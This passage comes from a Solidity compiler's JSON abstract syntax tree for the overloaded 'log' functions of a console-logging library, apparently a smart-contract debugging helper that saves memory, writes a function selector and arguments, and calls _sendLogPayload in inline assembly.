"src":"247303:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"247347:4:22","nodeType":"YulLiteral","src":"247347:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"247353:2:22","nodeType":"YulIdentifier","src":"247353:2:22"}],"functionName":{"name":"mstore","nativeSrc":"247340:6:22","nodeType":"YulIdentifier","src":"247340:6:22"},"nativeSrc":"247340:16:22","nodeType":"YulFunctionCall","src":"247340:16:22"},"nativeSrc":"247340:16:22","nodeType":"YulExpressionStatement","src":"247340:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"247376:4:22","nodeType":"YulLiteral","src":"247376:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"247382:2:22","nodeType":"YulIdentifier","src":"247382:2:22"}],"functionName":{"name":"mstore","nativeSrc":"247369:6:22","nodeType":"YulIdentifier","src":"247369:6:22"},"nativeSrc":"247369:16:22","nodeType":"YulFunctionCall","src":"247369:16:22"},"nativeSrc":"247369:16:22","nodeType":"YulExpressionStatement","src":"247369:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"247405:4:22","nodeType":"YulLiteral","src":"247405:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"247411:2:22","nodeType":"YulIdentifier","src":"247411:2:22"}],"functionName":{"name":"mstore","nativeSrc":"247398:6:22","nodeType":"YulIdentifier","src":"247398:6:22"},"nativeSrc":"247398:16:22","nodeType":"YulFunctionCall","src":"247398:16:22"},"nativeSrc":"247398:16:22","nodeType":"YulExpressionStatement","src":"247398:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"247434:4:22","nodeType":"YulLiteral","src":"247434:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"247440:2:22","nodeType":"YulIdentifier","src":"247440:2:22"}],"functionName":{"name":"mstore","nativeSrc":"247427:6:22","nodeType":"YulIdentifier","src":"247427:6:22"},"nativeSrc":"247427:16:22","nodeType":"YulFunctionCall","src":"247427:16:22"},"nativeSrc":"247427:16:22","nodeType":"YulExpressionStatement","src":"247427:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41912,"isOffset":false,"isSlot":false,"src":"247092:2:22","valueSize":1},{"declaration":41915,"isOffset":false,"isSlot":false,"src":"247122:2:22","valueSize":1},{"declaration":41918,"isOffset":false,"isSlot":false,"src":"247152:2:22","valueSize":1},{"declaration":41921,"isOffset":false,"isSlot":false,"src":"247182:2:22","valueSize":1},{"declaration":41924,"isOffset":false,"isSlot":false,"src":"247212:2:22","valueSize":1},{"declaration":41902,"isOffset":false,"isSlot":false,"src":"247353:2:22","valueSize":1},{"declaration":41904,"isOffset":false,"isSlot":false,"src":"247382:2:22","valueSize":1},{"declaration":41906,"isOffset":false,"isSlot":false,"src":"247411:2:22","valueSize":1},{"declaration":41908,"isOffset":false,"isSlot":false,"src":"247440:2:22","valueSize":1}],"id":41926,"nodeType":"InlineAssembly","src":"247069:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41928,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"247478:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":41929,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"247484:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":41927,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"247462:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41930,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"247462:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41931,"nodeType":"ExpressionStatement","src":"247462:27:22"},{"AST":{"nativeSrc":"247508:156:22","nodeType":"YulBlock","src":"247508:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"247529:4:22","nodeType":"YulLiteral","src":"247529:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"247535:2:22","nodeType":"YulIdentifier","src":"247535:2:22"}],"functionName":{"name":"mstore","nativeSrc":"247522:6:22","nodeType":"YulIdentifier","src":"247522:6:22"},"nativeSrc":"247522:16:22","nodeType":"YulFunctionCall","src":"247522:16:22"},"nativeSrc":"247522:16:22","nodeType":"YulExpressionStatement","src":"247522:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"247558:4:22","nodeType":"YulLiteral","src":"247558:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"247564:2:22","nodeType":"YulIdentifier","src":"247564:2:22"}],"functionName":{"name":"mstore","nativeSrc":"247551:6:22","nodeType":"YulIdentifier","src":"247551:6:22"},"nativeSrc":"247551:16:22","nodeType":"YulFunctionCall","src":"247551:16:22"},"nativeSrc":"247551:16:22","nodeType":"YulExpressionStatement","src":"247551:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"247587:4:22","nodeType":"YulLiteral","src":"247587:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"247593:2:22","nodeType":"YulIdentifier","src":"247593:2:22"}],"functionName":{"name":"mstore","nativeSrc":"247580:6:22","nodeType":"YulIdentifier","src":"247580:6:22"},"nativeSrc":"247580:16:22","nodeType":"YulFunctionCall","src":"247580:16:22"},"nativeSrc":"247580:16:22","nodeType":"YulExpressionStatement","src":"247580:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"247616:4:22","nodeType":"YulLiteral","src":"247616:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"247622:2:22","nodeType":"YulIdentifier","src":"247622:2:22"}],"functionName":{"name":"mstore","nativeSrc":"247609:6:22","nodeType":"YulIdentifier","src":"247609:6:22"},"nativeSrc":"247609:16:22","nodeType":"YulFunctionCall","src":"247609:16:22"},"nativeSrc":"247609:16:22","nodeType":"YulExpressionStatement","src":"247609:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"247645:4:22","nodeType":"YulLiteral","src":"247645:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"247651:2:22","nodeType":"YulIdentifier","src":"247651:2:22"}],"functionName":{"name":"mstore","nativeSrc":"247638:6:22","nodeType":"YulIdentifier","src":"247638:6:22"},"nativeSrc":"247638:16:22","nodeType":"YulFunctionCall","src":"247638:16:22"},"nativeSrc":"247638:16:22","nodeType":"YulExpressionStatement","src":"247638:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41912,"isOffset":false,"isSlot":false,"src":"247535:2:22","valueSize":1},{"declaration":41915,"isOffset":false,"isSlot":false,"src":"247564:2:22","valueSize":1},{"declaration":41918,"isOffset":false,"isSlot":false,"src":"247593:2:22","valueSize":1},{"declaration":41921,"isOffset":false,"isSlot":false,"src":"247622:2:22","valueSize":1},{"declaration":41924,"isOffset":false,"isSlot":false,"src":"247651:2:22","valueSize":1}],"id":41932,"nodeType":"InlineAssembly","src":"247499:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"246899:3:22","parameters":{"id":41909,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41902,"mutability":"mutable","name":"p0","nameLocation":"246911:2:22","nodeType":"VariableDeclaration","scope":41934,"src":"246903:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41901,"name":"uint256","nodeType":"ElementaryTypeName","src":"246903:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41904,"mutability":"mutable","name":"p1","nameLocation":"246920:2:22","nodeType":"VariableDeclaration","scope":41934,"src":"246915:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41903,"name":"bool","nodeType":"ElementaryTypeName","src":"246915:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":41906,"mutability":"mutable","name":"p2","nameLocation":"246932:2:22","nodeType":"VariableDeclaration","scope":41934,"src":"246924:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41905,"name":"address","nodeType":"ElementaryTypeName","src":"246924:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41908,"mutability":"mutable","name":"p3","nameLocation":"246941:2:22","nodeType":"VariableDeclaration","scope":41934,"src":"246936:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41907,"name":"bool","nodeType":"ElementaryTypeName","src":"246936:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"246902:42:22"},"returnParameters":{"id":41910,"nodeType":"ParameterList","parameters":[],"src":"246959:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41968,"nodeType":"FunctionDefinition","src":"247676:786:22","nodes":[],"body":{"id":41967,"nodeType":"Block","src":"247748:714:22","nodes":[],"statements":[{"assignments":[41946],"declarations":[{"constant":false,"id":41946,"mutability":"mutable","name":"m0","nameLocation":"247766:2:22","nodeType":"VariableDeclaration","scope":41967,"src":"247758:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41945,"name":"bytes32","nodeType":"ElementaryTypeName","src":"247758:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41947,"nodeType":"VariableDeclarationStatement","src":"247758:10:22"},{"assignments":[41949],"declarations":[{"constant":false,"id":41949,"mutability":"mutable","name":"m1","nameLocation":"247786:2:22","nodeType":"VariableDeclaration","scope":41967,"src":"247778:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41948,"name":"bytes32","nodeType":"ElementaryTypeName","src":"247778:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41950,"nodeType":"VariableDeclarationStatement","src":"247778:10:22"},{"assignments":[41952],"declarations":[{"constant":false,"id":41952,"mutability":"mutable","name":"m2","nameLocation":"247806:2:22","nodeType":"VariableDeclaration","scope":41967,"src":"247798:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41951,"name":"bytes32","nodeType":"ElementaryTypeName","src":"247798:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41953,"nodeType":"VariableDeclarationStatement","src":"247798:10:22"},{"assignments":[41955],"declarations":[{"constant":false,"id":41955,"mutability":"mutable","name":"m3","nameLocation":"247826:2:22","nodeType":"VariableDeclaration","scope":41967,"src":"247818:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41954,"name":"bytes32","nodeType":"ElementaryTypeName","src":"247818:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41956,"nodeType":"VariableDeclarationStatement","src":"247818:10:22"},{"assignments":[41958],"declarations":[{"constant":false,"id":41958,"mutability":"mutable","name":"m4","nameLocation":"247846:2:22","nodeType":"VariableDeclaration","scope":41967,"src":"247838:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41957,"name":"bytes32","nodeType":"ElementaryTypeName","src":"247838:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41959,"nodeType":"VariableDeclarationStatement","src":"247838:10:22"},{"AST":{"nativeSrc":"247867:378:22","nodeType":"YulBlock","src":"247867:378:22","statements":[{"nativeSrc":"247881:17:22","nodeType":"YulAssignment","src":"247881:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"247893:4:22","nodeType":"YulLiteral","src":"247893:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"247887:5:22","nodeType":"YulIdentifier","src":"247887:5:22"},"nativeSrc":"247887:11:22","nodeType":"YulFunctionCall","src":"247887:11:22"},"variableNames":[{"name":"m0","nativeSrc":"247881:2:22","nodeType":"YulIdentifier","src":"247881:2:22"}]},{"nativeSrc":"247911:17:22","nodeType":"YulAssignment","src":"247911:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"247923:4:22","nodeType":"YulLiteral","src":"247923:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"247917:5:22","nodeType":"YulIdentifier","src":"247917:5:22"},"nativeSrc":"247917:11:22","nodeType":"YulFunctionCall","src":"247917:11:22"},"variableNames":[{"name":"m1","nativeSrc":"247911:2:22","nodeType":"YulIdentifier","src":"247911:2:22"}]},{"nativeSrc":"247941:17:22","nodeType":"YulAssignment","src":"247941:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"247953:4:22","nodeType":"YulLiteral","src":"247953:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"247947:5:22","nodeType":"YulIdentifier","src":"247947:5:22"},"nativeSrc":"247947:11:22","nodeType":"YulFunctionCall","src":"247947:11:22"},"variableNames":[{"name":"m2","nativeSrc":"247941:2:22","nodeType":"YulIdentifier","src":"247941:2:22"}]},{"nativeSrc":"247971:17:22","nodeType":"YulAssignment","src":"247971:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"247983:4:22","nodeType":"YulLiteral","src":"247983:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"247977:5:22","nodeType":"YulIdentifier","src":"247977:5:22"},"nativeSrc":"247977:11:22","nodeType":"YulFunctionCall","src":"247977:11:22"},"variableNames":[{"name":"m3","nativeSrc":"247971:2:22","nodeType":"YulIdentifier","src":"247971:2:22"}]},{"nativeSrc":"248001:17:22","nodeType":"YulAssignment","src":"248001:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"248013:4:22","nodeType":"YulLiteral","src":"248013:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"248007:5:22","nodeType":"YulIdentifier","src":"248007:5:22"},"nativeSrc":"248007:11:22","nodeType":"YulFunctionCall","src":"248007:11:22"},"variableNames":[{"name":"m4","nativeSrc":"248001:2:22","nodeType":"YulIdentifier","src":"248001:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"248102:4:22","nodeType":"YulLiteral","src":"248102:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"248108:10:22","nodeType":"YulLiteral","src":"248108:10:22","type":"","value":"0x078287f5"}],"functionName":{"name":"mstore","nativeSrc":"248095:6:22","nodeType":"YulIdentifier","src":"248095:6:22"},"nativeSrc":"248095:24:22","nodeType":"YulFunctionCall","src":"248095:24:22"},"nativeSrc":"248095:24:22","nodeType":"YulExpressionStatement","src":"248095:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"248139:4:22","nodeType":"YulLiteral","src":"248139:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"248145:2:22","nodeType":"YulIdentifier","src":"248145:2:22"}],"functionName":{"name":"mstore","nativeSrc":"248132:6:22","nodeType":"YulIdentifier","src":"248132:6:22"},"nativeSrc":"248132:16:22","nodeType":"YulFunctionCall","src":"248132:16:22"},"nativeSrc":"248132:16:22","nodeType":"YulExpressionStatement","src":"248132:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"248168:4:22","nodeType":"YulLiteral","src":"248168:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"248174:2:22","nodeType":"YulIdentifier","src":"248174:2:22"}],"functionName":{"name":"mstore","nativeSrc":"248161:6:22","nodeType":"YulIdentifier","src":"248161:6:22"},"nativeSrc":"248161:16:22","nodeType":"YulFunctionCall","src":"248161:16:22"},"nativeSrc":"248161:16:22","nodeType":"YulExpressionStatement","src":"248161:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"248197:4:22","nodeType":"YulLiteral","src":"248197:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"248203:2:22","nodeType":"YulIdentifier","src":"248203:2:22"}],"functionName":{"name":"mstore","nativeSrc":"248190:6:22","nodeType":"YulIdentifier","src":"248190:6:22"},"nativeSrc":"248190:16:22","nodeType":"YulFunctionCall","src":"248190:16:22"},"nativeSrc":"248190:16:22","nodeType":"YulExpressionStatement","src":"248190:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"248226:4:22","nodeType":"YulLiteral","src":"248226:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"248232:2:22","nodeType":"YulIdentifier","src":"248232:2:22"}],"functionName":{"name":"mstore","nativeSrc":"248219:6:22","nodeType":"YulIdentifier","src":"248219:6:22"},"nativeSrc":"248219:16:22","nodeType":"YulFunctionCall","src":"248219:16:22"},"nativeSrc":"248219:16:22","nodeType":"YulExpressionStatement","src":"248219:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41946,"isOffset":false,"isSlot":false,"src":"247881:2:22","valueSize":1},{"declaration":41949,"isOffset":false,"isSlot":false,"src":"247911:2:22","valueSize":1},{"declaration":41952,"isOffset":false,"isSlot":false,"src":"247941:2:22","valueSize":1},{"declaration":41955,"isOffset":false,"isSlot":false,"src":"247971:2:22","valueSize":1},{"declaration":41958,"isOffset":false,"isSlot":false,"src":"248001:2:22","valueSize":1},{"declaration":41936,"isOffset":false,"isSlot":false,"src":"248145:2:22","valueSize":1},{"declaration":41938,"isOffset":false,"isSlot":false,"src":"248174:2:22","valueSize":1},{"declaration":41940,"isOffset":false,"isSlot":false,"src":"248203:2:22","valueSize":1},{"declaration":41942,"isOffset":false,"isSlot":false,"src":"248232:2:22","valueSize":1}],"id":41960,"nodeType":"InlineAssembly","src":"247858:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41962,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"248270:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":41963,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"248276:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":41961,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"248254:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41964,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"248254:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41965,"nodeType":"ExpressionStatement","src":"248254:27:22"},{"AST":{"nativeSrc":"248300:156:22","nodeType":"YulBlock","src":"248300:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"248321:4:22","nodeType":"YulLiteral","src":"248321:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"248327:2:22","nodeType":"YulIdentifier","src":"248327:2:22"}],"functionName":{"name":"mstore","nativeSrc":"248314:6:22","nodeType":"YulIdentifier","src":"248314:6:22"},"nativeSrc":"248314:16:22","nodeType":"YulFunctionCall","src":"248314:16:22"},"nativeSrc":"248314:16:22","nodeType":"YulExpressionStatement","src":"248314:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"248350:4:22","nodeType":"YulLiteral","src":"248350:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"248356:2:22","nodeType":"YulIdentifier","src":"248356:2:22"}],"functionName":{"name":"mstore","nativeSrc":"248343:6:22","nodeType":"YulIdentifier","src":"248343:6:22"},"nativeSrc":"248343:16:22","nodeType":"YulFunctionCall","src":"248343:16:22"},"nativeSrc":"248343:16:22","nodeType":"YulExpressionStatement","src":"248343:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"248379:4:22","nodeType":"YulLiteral","src":"248379:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"248385:2:22","nodeType":"YulIdentifier","src":"248385:2:22"}],"functionName":{"name":"mstore","nativeSrc":"248372:6:22","nodeType":"YulIdentifier","src":"248372:6:22"},"nativeSrc":"248372:16:22","nodeType":"YulFunctionCall","src":"248372:16:22"},"nativeSrc":"248372:16:22","nodeType":"YulExpressionStatement","src":"248372:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"248408:4:22","nodeType":"YulLiteral","src":"248408:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"248414:2:22","nodeType":"YulIdentifier","src":"248414:2:22"}],"functionName":{"name":"mstore","nativeSrc":"248401:6:22","nodeType":"YulIdentifier","src":"248401:6:22"},"nativeSrc":"248401:16:22","nodeType":"YulFunctionCall","src":"248401:16:22"},"nativeSrc":"248401:16:22","nodeType":"YulExpressionStatement","src":"248401:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"248437:4:22","nodeType":"YulLiteral","src":"248437:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"248443:2:22","nodeType":"YulIdentifier","src":"248443:2:22"}],"functionName":{"name":"mstore","nativeSrc":"248430:6:22","nodeType":"YulIdentifier","src":"248430:6:22"},"nativeSrc":"248430:16:22","nodeType":"YulFunctionCall","src":"248430:16:22"},"nativeSrc":"248430:16:22","nodeType":"YulExpressionStatement","src":"248430:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41946,"isOffset":false,"isSlot":false,"src":"248327:2:22","valueSize":1},{"declaration":41949,"isOffset":false,"isSlot":false,"src":"248356:2:22","valueSize":1},{"declaration":41952,"isOffset":false,"isSlot":false,"src":"248385:2:22","valueSize":1},{"declaration":41955,"isOffset":false,"isSlot":false,"src":"248414:2:22","valueSize":1},{"declaration":41958,"isOffset":false,"isSlot":false,"src":"248443:2:22","valueSize":1}],"id":41966,"nodeType":"InlineAssembly","src":"248291:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"247685:3:22","parameters":{"id":41943,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41936,"mutability":"mutable","name":"p0","nameLocation":"247697:2:22","nodeType":"VariableDeclaration","scope":41968,"src":"247689:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41935,"name":"uint256","nodeType":"ElementaryTypeName","src":"247689:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41938,"mutability":"mutable","name":"p1","nameLocation":"247706:2:22","nodeType":"VariableDeclaration","scope":41968,"src":"247701:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41937,"name":"bool","nodeType":"ElementaryTypeName","src":"247701:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":41940,"mutability":"mutable","name":"p2","nameLocation":"247718:2:22","nodeType":"VariableDeclaration","scope":41968,"src":"247710:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41939,"name":"address","nodeType":"ElementaryTypeName","src":"247710:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41942,"mutability":"mutable","name":"p3","nameLocation":"247730:2:22","nodeType":"VariableDeclaration","scope":41968,"src":"247722:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41941,"name":"uint256","nodeType":"ElementaryTypeName","src":"247722:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"247688:45:22"},"returnParameters":{"id":41944,"nodeType":"ParameterList","parameters":[],"src":"247748:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42008,"nodeType":"FunctionDefinition","src":"248468:1334:22","nodes":[],"body":{"id":42007,"nodeType":"Block","src":"248540:1262:22","nodes":[],"statements":[{"assignments":[41980],"declarations":[{"constant":false,"id":41980,"mutability":"mutable","name":"m0","nameLocation":"248558:2:22","nodeType":"VariableDeclaration","scope":42007,"src":"248550:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41979,"name":"bytes32","nodeType":"ElementaryTypeName","src":"248550:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41981,"nodeType":"VariableDeclarationStatement","src":"248550:10:22"},{"assignments":[41983],"declarations":[{"constant":false,"id":41983,"mutability":"mutable","name":"m1","nameLocation":"248578:2:22","nodeType":"VariableDeclaration","scope":42007,"src":"248570:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41982,"name":"bytes32","nodeType":"ElementaryTypeName","src":"248570:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41984,"nodeType":"VariableDeclarationStatement","src":"248570:10:22"},{"assignments":[41986],"declarations":[{"constant":false,"id":41986,"mutability":"mutable","name":"m2","nameLocation":"248598:2:22","nodeType":"VariableDeclaration","scope":42007,"src":"248590:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41985,"name":"bytes32","nodeType":"ElementaryTypeName","src":"248590:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41987,"nodeType":"VariableDeclarationStatement","src":"248590:10:22"},{"assignments":[41989],"declarations":[{"constant":false,"id":41989,"mutability":"mutable","name":"m3","nameLocation":"248618:2:22","nodeType":"VariableDeclaration","scope":42007,"src":"248610:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41988,"name":"bytes32","nodeType":"ElementaryTypeName","src":"248610:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41990,"nodeType":"VariableDeclarationStatement","src":"248610:10:22"},{"assignments":[41992],"declarations":[{"constant":false,"id":41992,"mutability":"mutable","name":"m4","nameLocation":"248638:2:22","nodeType":"VariableDeclaration","scope":42007,"src":"248630:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41991,"name":"bytes32","nodeType":"ElementaryTypeName","src":"248630:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41993,"nodeType":"VariableDeclarationStatement","src":"248630:10:22"},{"assignments":[41995],"declarations":[{"constant":false,"id":41995,"mutability":"mutable","name":"m5","nameLocation":"248658:2:22","nodeType":"VariableDeclaration","scope":42007,"src":"248650:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41994,"name":"bytes32","nodeType":"ElementaryTypeName","src":"248650:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41996,"nodeType":"VariableDeclarationStatement","src":"248650:10:22"},{"assignments":[41998],"declarations":[{"constant":false,"id":41998,"mutability":"mutable","name":"m6","nameLocation":"248678:2:22","nodeType":"VariableDeclaration","scope":42007,"src":"248670:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41997,"name":"bytes32","nodeType":"ElementaryTypeName","src":"248670:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41999,"nodeType":"VariableDeclarationStatement","src":"248670:10:22"},{"AST":{"nativeSrc":"248699:828:22","nodeType":"YulBlock","src":"248699:828:22","statements":[{"body":{"nativeSrc":"248742:313:22","nodeType":"YulBlock","src":"248742:313:22","statements":[{"nativeSrc":"248760:15:22","nodeType":"YulVariableDeclaration","src":"248760:15:22","value":{"kind":"number","nativeSrc":"248774:1:22","nodeType":"YulLiteral","src":"248774:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"248764:6:22","nodeType":"YulTypedName","src":"248764:6:22","type":""}]},{"body":{"nativeSrc":"248845:40:22","nodeType":"YulBlock","src":"248845:40:22","statements":[{"body":{"nativeSrc":"